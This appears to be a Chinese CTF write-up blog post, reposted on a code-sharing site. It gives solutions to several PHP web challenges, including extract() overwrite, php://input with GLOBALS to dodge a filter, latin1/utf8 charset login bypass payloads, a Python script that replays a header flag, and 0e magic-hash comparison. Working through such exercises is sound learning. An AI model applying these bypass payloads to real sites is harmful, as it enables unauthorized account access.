一些CTF題目--20/9/3


1.

看源碼

POST方法。Extract覆蓋。 直接url ?參數不行,因為POST參數不在URL上,GET參數才在

 

 

 

Burpsuite抓包,改成  pass=1&thepassword_123=1,這樣就相等了

 

 

 

 

2.

題目大概:

$u=$_GET[‘$user’]

$f=$_GET[‘$variable’]

If(isset($u)&&File_get_content($u,’r’)===”im admin”){

   If(preg_match(‘/flag/’))

  Error

   Else

Eval(“var_dump($$f);”)

}

 

主要是兩個地方:===的判斷和繞過preg_match(‘/flag/’)

 

Burpsuite 右鍵change request method post

 

然后url   …/?user=php://input&variable=globals

 

下方輸入 im admin

 

3.

 

<h1><center>If you want to login, please let me get username and password.</center></h1>

<!-- mysql_query("set names utf8");

function check_username($str){

if(preg_match("/^admin$/i",$str)){

return 1;

}

for($i=195;$i<240;$i++){

if(preg_match("/".chr($i)."/i",$str)){

return 1;

}

}

return 0;

}

function check_password($str){

if(preg_match("/admins/i",$str)){

return 1;

}

return 0;

}

 

$sql="select * from user where username='$username' and password='$password'"; a/a-->

 

 

題目提示了,用戶名adminpassword admins。以及可以用username apassword a先試試。

只需要繞過檢測。

 

檢測:adminadmins

 

繞過admin檢測:Username=admin%c2。 除了檢測admin還檢測195-39ascii字符,而%c2194的范圍內。

繞過password檢測: Mysql 默認字符latin1,。頁面顯示是utf-8。用字符轉換的漏洞代替passwordapassword=%c3%83dmins

 

 

5.

 

 

 

 

先抓包試試

 

 

發到repeatergo。發現reponseflag。但是這個flag每次變化。Base64解碼兩次每次是不同的一串數字。

 

 

再看題目提示,應該是把這個flag當做message post出去

 

 

速度很快,每次flag不一樣,所以用代碼(腳本/或者手速特別快)。得到最后的flag

 

#coding:utf-8

import requests

import base64

 

url='http://192.168.8.160/web/fast/'

s=requests.Session()

header=s.get(url).headers

print(header)

flag = base64.b64decode(base64.b64decode(header['flag']).decode().split(':')[1]).decode() #對其進行base64兩次解密

 

data={'message':flag}

 

print(s.post(url=url,data=data).content.decode())

 

 

6.

鼠標點不到。檢查。

雖然點不到,但是看代碼知道點到會跳到 /?key=700url

 

 

 

 

 

 

8

 

 

QNKCDZO md5 編碼為0exxxx

PHP對所有0e開頭(16進制)字符串認為相等

在構造一個0e開頭的即可

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM